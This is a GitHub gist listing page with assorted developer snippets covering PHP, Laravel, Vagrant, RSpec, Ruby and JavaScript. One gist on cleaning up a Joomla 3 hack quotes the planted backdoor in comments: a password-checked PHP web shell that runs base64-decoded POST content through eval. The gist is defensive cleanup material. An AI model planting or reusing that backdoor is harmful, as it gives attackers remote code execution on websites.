Skip to content

Instantly share code, notes, and snippets.

View appsol's full-sized avatar

Stuart Laverick appsol

View GitHub Profile
@appsol
appsol / gist:493b1e2574327378e0de8bd185d1330d
Created November 30, 2018 10:10
Run Composer in Plesk using PHP 7.1
/opt/plesk/php/7.1/bin/php /usr/lib64/plesk-9.0/composer.phar install
namespace App\Http\Middleware;
use Illuminate\Support\Facades\Log;
class LogAfterRequest {
public function handle($request, \Closure $next)
{
return $next($request);
}
@appsol
appsol / db-test.php
Last active April 24, 2018 09:45
PHP MySQL Test Connection
<?php
# Fill our vars and run on cli
# $ php -f db-test.php
$dbname = 'dbname';
$dbuser = 'dbuser';
$dbpass = 'dbpass';
$dbhost = 'dbhost';
$connect = mysqli_connect($dbhost, $dbuser, $dbpass) or die("Unable to Connect to '$dbhost'");
@appsol
appsol / Contract Killer 3.md
Created November 24, 2016 17:18
The latest version of my ‘killer contract’ for web designers and developers

Contract Killer

The popular open-source contract for web professionals by Stuff & Nonsense

  • Originally published: 23rd December 2008
  • Revised date: March 15th 2016
  • Original post

@appsol
appsol / gist:fb06403fbe31bd2038ad
Last active August 29, 2015 14:19
YouTube iFrame API Playlist
/**
* WP Video Playlists Plugin Main.js
* @version 0.3.0
* @param {window} w
* @param {jQuery} $
*/
(function(w, $) {
var setup = function setup()
@appsol
appsol / gist:c0c0776f6861d6562310
Created February 26, 2015 09:35
Regex to clean up Joomla 3 hack of administrator/components/com_joomlaupdate/
# The hack places the following file in administrator/components/com_joomlaupdate/config.php:
#
# <?php
# echo"trest";error_reporting(0);
# if(isset($_POST['com']) && md5($_POST['com']) == '66d18dc9cbd1b87d4460a2ce37d8e835' && isset($_POST['content'])) $kk = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($kk));
# echo"abrval";
# ?>
#
# This creates many files of a similar pattern throughout the Joomla install, e.g.
#
@appsol
appsol / README.md
Last active August 29, 2015 14:16 — forked from dciccale/README.md

DOM Ready

Tiny Cross-browser DOM ready function in 111 bytes of JavaScript.

@appsol
appsol / gist:d7b2af6d053c4151b4b1
Created September 11, 2014 09:48
Vagrant up ssh error
groups="/"
ostype="Red Hat (64 bit)"
UUID="37ee2d6c-3883-40d7-a1aa-62d3319d7c7f"
CfgFile="/home/stuart/VirtualBox VMs/teamwildoutfitters.com/teamwildoutfitters.com.vbox"
SnapFldr="/home/stuart/VirtualBox VMs/teamwildoutfitters.com/Snapshots"
LogFldr="/home/stuart/VirtualBox VMs/teamwildoutfitters.com/Logs"
hardwareuuid="37ee2d6c-3883-40d7-a1aa-62d3319d7c7f"
memory=1024
pagefusion="off"
vram=8
#Model
@user.should have(1).error_on(:username) # Checks whether there is an error in username
@user.errors[:username].should include("can't be blank") # check for the error message
#Rendering
response.should render_template(:index)
#Redirecting
response.should redirect_to(movies_path)
@appsol
appsol / gist:76dfdefbaef0091e6fe8
Created May 25, 2014 10:42
Saasbook Project 3.9
#!/usr/bin/env ruby
# Project 3.9
module Enumerable
def each_with_flattening
flattened = self.flatten
flattened.each do |x|
yield x
end